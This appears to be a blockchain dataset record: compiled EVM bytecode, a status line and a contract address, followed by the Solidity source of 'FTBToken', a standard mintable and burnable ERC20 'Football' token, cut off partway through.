06c01097f034b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d901097f0150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa801097f04f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a01097d98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac01097e58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f01097f07850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f787430191508083828584878689888b8a8d8c8f8f097f0337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f0581471601097e95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d01097f038ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c0001361001097ec1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a1401097f07122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf01097f075275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db601097f070af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d0191508083828584878689888b8a8d8c8f8f097f047c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc901097f055713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de01097f0412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea4701097f06925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a01097e3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c301097f0552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd1301097f05643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f30191508083828584878689888b8a8d8c8f8f097f0542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f2626501097f02a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb501097f057d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da01097f01a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d01097f06dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a8812601097e224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d860301097e1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f870191508083828584878689888b8a8d8c8f8f097f0735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d01097e66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd01097f014ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d01097f027092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa601097f044e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c430901097f0352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f501097f0268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed0191508083828584878689888b8a8d8c8f8f097eaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df01097f067dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe2821899006101097f0106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e01097f0356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f001097f040a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c88101097f0699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f201097f06b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b359400191508083828584878689888b8a8d8c8f8f097f04eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb01097f07b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa201097f0367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b0301097f0781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c101097f020ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a01097ee5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c201097f0164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e0191508083828584878689888b8a8d8c8f8f097e4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca3635534001097e546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb32301097f072c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b01097f07a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a701097f064c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f01097f062334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf01097f05dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d40191508083828584878689888b8a8d8c8f8f097f03373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad01097f042a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd2837801097f016f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea601097f024327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f0568628701097f045ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e01097f0767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce01097f0741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f0191508083828584878689888b8a8d8c8f8f097f068682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa701097f068edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d01097f05d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b501097f0327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a101097f029a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd740623601097eac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b1354001097f03a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b33900191508083828584878689888b8a8d8c8f8f097f04d111629c799fb16f602183ae372aee382e0b401312951eefe77a167457524201097ea8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f026390101097f03abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa8701097f0580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e565301097f07a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed01097f021df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c01097f02c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f8040191508083828584878689888b8a8d8c8f8f097f06dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d2301097f01e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b901097f03360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b13001097f0164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a01097f046efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd01097f05ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f001097e51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c0191508083828584878689888b8a8d8c8f8f097f067d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b01097f03dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de701097f044be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad1917801097edb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd501097f01a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce01097f05fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f85101097f06f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb0191508083828584878689888b8a8d8c8f8f097f01fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d8301097f07172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e01097f034369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe01097f03054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb301097f023f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf2101097f02300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a001097f04182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b290191508083828584878689888b8a8d8c8f8f097f050f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea401097ec37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db801097f02693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d7001097f02bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d11901097f017626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e01097f0734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf01097f022a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c62420191508083828584878689888b8a8d8c8f8f097f022eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b01097f0193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b01097eb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f901097f0375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a5101097f01b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa601097f04b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae01097e17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea0191508083828584878689888b8a8d8c8f8f097f020e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d01097f029cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf92001097f04d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e01097f07ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c401097f031d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e36901097f04efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c71051501638601097f056017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f0191508083828584878689888b8a8d8c8f8f097f016416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd644401097f04237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e01097f01b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce41419401097f062fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa401097e88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb701097f04f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed01097f06e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a0191508083828584878689888b8a8d8c8f8f097f0284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f01097f060c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe01097f059cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a01097edaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd9101097f01f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d001097f02830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c601097f058f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e350191508083828584878689888b8a8d8c8f8f097f042c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf01097f050d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a201097f0413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c2801097f013fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e601097f02b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c01097f03030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e01097f016617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce90191508083828584878689888b8a8d8c8f8f097f0553f8ab49053432bab53835480b6f4c416eeffb3470fb6bcf122741cac3d71d01097f03939ef0e572dcc3b67f0cb819fffc521df26e50814281621fa6982b1465f78601097f0520b18e79de342aa7095ffe56be6222b0d2e44fc3c676a5c994f24e427b45e201097f03f3ae3871460ac578f5030d925e91c138f3290f8f3cb6d4b560b4b16fbacd6401097ebffb0e4f7ccfff0cee519edd1004eefbc47024f92c4409bbdf688c133ad28501097f062d6874b6dcb1c4dc8ed797b9158da4359c6c49f27af4851a12908ecad2092e01097f0511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce3460191508083828584878689888b8a8d8c8f8f097f025199c11f7193e07191cd9b9108aa8b440ce1972dd1cbe5f0cc33b7783203a801097f03cf3b95ba351a72019ed1bcadab32116adcf079e72800a9d88f15244e7743e001097f019cf240d04f4859941f9b6af4a7088729aa10307cd08aa75f01cb22e872543d01097f01cd528d070930aef19e0f928fc744e79ff57e227b6aa1bbfce15a79166aefd801097e475f8af086f7aa4ec3739f754f7dd291dc50decc7c7fb03de8aee3cf06824f01097f028f86fe2d71f9410e14c17195ae19c2c5e623c525c979f4f74dec3ef8848eb501097f0508243aa19e23cdb8ca0154055c05130462908c6a2691ae522e37ab9d6168f20191508083828584878689888b8a8d8c8f8f097f037cf9640e321e7bccf1926d5fea92918d6888c5805e27193722995233a4adc501097e66336e2e2eeb939818f861fa4aa9b2576936470f511786f8fa3417850a6c2d01097f019a0ff21908842e412addb744b0ca384a54bdde819f6337c4c672f682fea9cb01097f044147236daf669f8a94b7ea353c3dd7e64312ece01ccc1d4dad67916591d50b01097f01d6cb5a655919a581078aa2f8a21d300425026ccd7d047302443d78dbc67abd01097f04d8d9b92b38a45147bc9c87c071672edd93cbf5bdc8d85e608f26f1d82d172b01097f04acd125e74056ca611a1b07369166eb5c02af7a4cbf387b2bd584a362fa9e600191508083828584878689888b8a8d8c8f8f097f03b4fdc8d965de1761e445ee88cb406f707f9d0b1ea3c069d12084c0ccba9b4401097f01f27c20f47daaf01d4627d5e9bee0e9bd2aa5b75807064cd60ed87e307f677a01097e4758304a75f149e24563c2b22459151389b86d36108f5dfe11ea1fc7a64fd701097f01c1216fe648d287c2645dfc5152e171f25483df5ef112b745c2e59b5d9ee07c01097f024adf288d61c113e28d9a298d2642eb67586019adcb952abf274ebe1d30e24a01097f03e09706cb43c83143c9dc46f97e0e1ab4327de19ced69badaa8b2c80f68fb9b01097f0589a2e11637d0c90fe91bb9f4d55a80cd1a2df7f3431e8b8bdce8fe7d35126c0191508083828584878689888b8a8d8c8f8f097f05f506aaae7ce6d94712c9e0ab02bd2a4ae09600608d54a8ca381b8e96222cf701097f03f64b3a307276c6a7169c54297bb12aaeebadec98df6ba1184492a82effe35301097ec3e0400cbde1da659381240d9c84b977eef3cd70e3e4a1a8763a05e682eb3b01097f01fdb038204ac50e87e3e7239d8c1c0572893ba98e031c982e545e6de64cb8e001097ee0b21e37008355c35f7aee295a8b2b72465866b2bd68e72d36f032c34b38a001097f02cc90219912af16cf9a39f57f8b8c514f797dd5d49dfed5eabdc278e31106a201097eab2147a23a826d5f7c6fea5bf889eaafb5531721f31ee0a9f02fd58f09f65c0191508083828584878689888b8a8d8c8f8f097ea5d4606609371577b0d17fadcd85ce659885b00245a67b038f902176d99a7c01097efc76b77f717a5b3ecafafadf29e7f886c8ae67a3a2bb30467c44047234995301097f040fb948f8a4a10d2b2e928a5d77b481f8d3068b47fa388a3ee65609aade1a4101097f013d322a0ecbe1e785921a7aa6f4d1135e0798e72f4c055226205314b834814401097f020096a7aa30c6c42f1d5f1ed88de275d1d1610f2548711a75fbbd72d373a50e01097f018f9cfeaf2c33e21d7c6fd9e15a3601a2fb3905588868167566e8c1f1dd30fa01097f03e3aa48bb5db9e2b0dc6d294009ecd5d4ff6255dfcdde3f5b4e545032ea9b680191508083828584878689888b8a8d8c8f8f097f0425b03b0356b92e66ca816869a76110d68862a0d8ad76f950fdb1d5c03279d101097f07cdb723061223f33289237c7476e737ef0bbc5e2c1ed9a70566511fc2036ba501097f018b8b8d0f393950c9a2e674052150a328d214618049c7e2f58cbad76adbfbd501097ef19faf3accc43b56369dccdec35dc7b49c5b8f8976764886bd16dd2e155f9201097ee08853aabc9eb934b4470bb4ae1dbbe90c61d2093516df998ca7adc98afe1001097f07736291268c775a82caea06004d53edb829be2566fc7c4053b1d850a8116cac01097f01bc1186238f0d39e1c56185a8d2bf00c90c9c89647917d60a5b7629328565240191508083828584878689888b8a8d8c8f8f097f06cf772fa8050ad8eb87bc8f0c8fc511622b416fdb084cbc93b79501c96b0bda01097f07417da24519b4c55ec0d698ecaceeb49711aa1e7f7d907102351e73388a0fa501097f066e1e25d1bcea87acd136f2c33498e3223fbf78bc6cc816ad6aaf68e961da0d01097f060db5bf6f060d82c169a1c4ed6c548d5e8cdb6cfd2e3257c155bf11f48ca60901097f02d5447623584d3a19e9993814622d6369248bc61813f067c4825c9b0a81551f01097eac068a1aae938e26e125b35c88a87130044bf3637bf1acd797103e7388b33a01097f03ab2d353537697d4de9c5c4c0bc31e5e776cb93181029144f6c6d4b5ea4317b0191508083828584878689888b8a8d8c8f8f097f06ca2dd473297a2852e68ea2b83faf8f71e5cb471adcc74a858132c6a823f0c001097f01ec5264a5287f1c6de79b3df3adbfa157e8430e594078c3fba7002a077db44701097f050ee695deb5a4e63c5dd6de35621d1c0c5a496bf41fecbaa929b2b3e23f174a01097f036f446f7e5a51114cbdd3b460431bacb5a42cd61f4690cf5e9d9f13e488318d01097f0195f98a85cfe403a7d229a6eb4533a1fea641c331db75a5807711fdf1e27dac01097f063d4964faab567e795024a17032ec564ff221a421bd2e42632d3770c73dbba101097f068d729620eca6b4d904198a0e6d241953b9b8c874a10b5ede5596146d5609790191508083828584878689888b8a8d8c8f8f097f01137975bab819ce0cbc73714305030fcd4a185f71d46c169908460390d56d1801097ef639bcd7777c1ffd41a693ac9f5a051bd124b7edce3d568f14304c9fd90a6701097e2322f8d96071356feee538e0c53d857b1924134b94377af20ed5d0e8b3925b01097f022cf65c6bbbf76765555748cc1ae91c83ea93ca2c8b34a59332567b5b3b0cd201097ed62eb553de83e5d51f78ddd9480d65870dc426f61153e732eb6cd62cee09cd01097f06afb39d46d5a846e9d58a6ae27e6cdd83bee29c72754cd4cd3d3cae423f5c9d01097f0364889e46da58b66c827835a0c2807338eeb4431f2099f490d13bbad0777a010191508083828584878689888b8a8d8c8f8f097eaea6f7f915e4aec612029a9d02316baa3f6297ea4cfd38897f4c9859ec485e01097f05c180e2fbb2b51e053941d0e1611424fe60ced6d439115dd98530c8d79cca4a01097f01ab93f16e576b6a54598582eff5e2cfc33baeeb607826579680636b05046d1601097f04de47e973af27fde9ad29f812de8a04855110118eb73fcdb46865390486a28701097f050be25e516e30f96d8b420a7c494506d2cd21d64f4d5ecb67d58c2ae99bf5e001097f02aa45ec320ea12beb804e35af3684dc981324dc9bd044592d1c408c052a432201097f026701dfe3cc76754a4ab893fef59886a43013ea6ba648efd82fd03941fa29100191508083828584878689888b8a8d8c8f8f097f01773ba95dbeaab6e5e9fc79ac153d46be1e57828e92287d698a3f4f87ef498401097e4e92d5f575fcaac9adedb4e0c3549dc18f61bc40e3752e3506f3761c32c6e301097f0580f9d95c2bd746c9210a87b0f9ed275afee1dde7a41d9ad5e69861ec0e43f601097f03e2dbef5f162784e13b5ff4c33bcbc444ad1546922b293d6783b5de5c5aba7801097f0596f89b6ca79194eb6a87c17692aa491f5b014da3cc7e5f05caf4fc1779c2dc01097f07e84842d5fff1666e01505f62661bcc822dd3fa530ebd1e4089230a4045a04f01097f05626d2ae9581d1d335bfc3863a4eaf3568ec8e70fcdae93f50a15b0cf601b6b019150808382858487868989097f068371fc7cb3e0670a73eb3a7e773ddb63f231c26bf25bb1fc1fe6e93a7e3bd001097f04d215dd42f87632a9cce2cb95081dc731e36796c3d2847dc96a3554231c6aef01097f0421fac0e48da8e6355c07f6a64bcea96384848e8ea9a7113ab45f15b1dd15aa01097f0679061e5f453c8bb1855dce8f7d61f2cb64b15d2c4e70b969ec4ead3fc6a2260191508082816125ce57fe5b06939250505056fea265627a7a72315820d89dac4f5f289154c073c973ec2e70a2cd1afccdc0d0916645dccb068d66ab3a64736f6c634300050f0032
|
{"success": true, "error": null, "results": {}}
| 4,467 |
0xfc4edcb01daa1073c4dd682e4f78542b01d4f8e7
|
pragma solidity 0.5.12;
library SafeMath {
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(isContract(address(token)), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address internal _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) internal {
require(initialOwner != address(0), "Ownable: initial owner is the zero address");
_owner = initialOwner;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_isOwner(msg.sender), "Ownable: caller is not the owner");
_;
}
function _isOwner(address account) internal view returns (bool) {
return account == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
/**
* @title MinterRole
*/
contract MinterRole is Ownable {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
modifier onlyMinter() {
require(isMinter(msg.sender), "Caller has no permission");
_;
}
function isMinter(address account) public view returns (bool) {
return(_minters.has(account) || _isOwner(account));
}
function addMinter(address account) public onlyOwner {
_minters.add(account);
emit MinterAdded(account);
}
function removeMinter(address account) public onlyOwner {
_minters.remove(account);
emit MinterRemoved(account);
}
}
interface IERC20 {
function totalSupply() external view returns (uint);
function balanceOf(address account) external view returns (uint);
function transfer(address recipient, uint amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint amount) external returns (bool);
function transferFrom(address sender, address recipient, uint amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Context {
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping (address => uint) private _balances;
mapping (address => mapping (address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns (uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _burnFrom(address account, uint256 amount) internal {
_burn(account, amount);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(amount));
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
/**
* @dev Extension of `ERC20` that allows token holders to destroy both their own
* tokens and those that they have an allowance for, in a way that can be
* recognized off-chain (via event analysis).
*/
contract ERC20Burnable is ERC20 {
/**
* @dev Destroys `amount` tokens from msg.sender's balance.
*/
function burn(uint256 amount) public {
_burn(msg.sender, amount);
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*/
function burnFrom(address account, uint256 amount) public {
_burnFrom(account, amount);
}
}
/**
* @dev Extension of {ERC20} that adds a set of accounts with the {MinterRole},
* which have permission to mint (create) new tokens as they see fit.
*/
contract ERC20Mintable is ERC20Burnable, MinterRole {
// if additional minting of tokens is impossible
bool public mintingFinished;
// prevent minting of tokens when it is finished.
// prevent total supply to exceed the limit of emission.
modifier canMint(uint256 amount) {
require(amount > 0, "Minting zero amount");
require(!mintingFinished, "Minting is finished");
_;
}
/**
* @dev Stop any additional minting of tokens forever.
* Available only to the owner.
*/
function finishMinting() external onlyOwner {
mintingFinished = true;
}
/**
* @dev Minting of new tokens.
* @param to The address to mint to.
* @param value The amount to be minted.
*/
function mint(address to, uint256 value) public onlyMinter canMint(value) returns (bool) {
_mint(to, value);
return true;
}
}
/**
* @title ApproveAndCall Interface.
* @dev ApproveAndCall system allows to communicate with smart-contracts.
*/
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 amount, address token, bytes calldata extraData) external;
}
/**
* @title The main project contract.
*/
contract FTBToken is ERC20Mintable, ERC20Detailed {
using SafeERC20 for IERC20;
using SafeMath for uint256;
// registered contracts (to prevent loss of token via transfer function)
mapping (address => bool) private _contracts;
constructor(address initialOwner, address recipient) public ERC20Detailed("Football", "FTB", 4) Ownable(initialOwner) {
// creating of inital supply
uint256 INITIAL_SUPPLY = 333333333e4;
_mint(recipient, INITIAL_SUPPLY);
}
/**
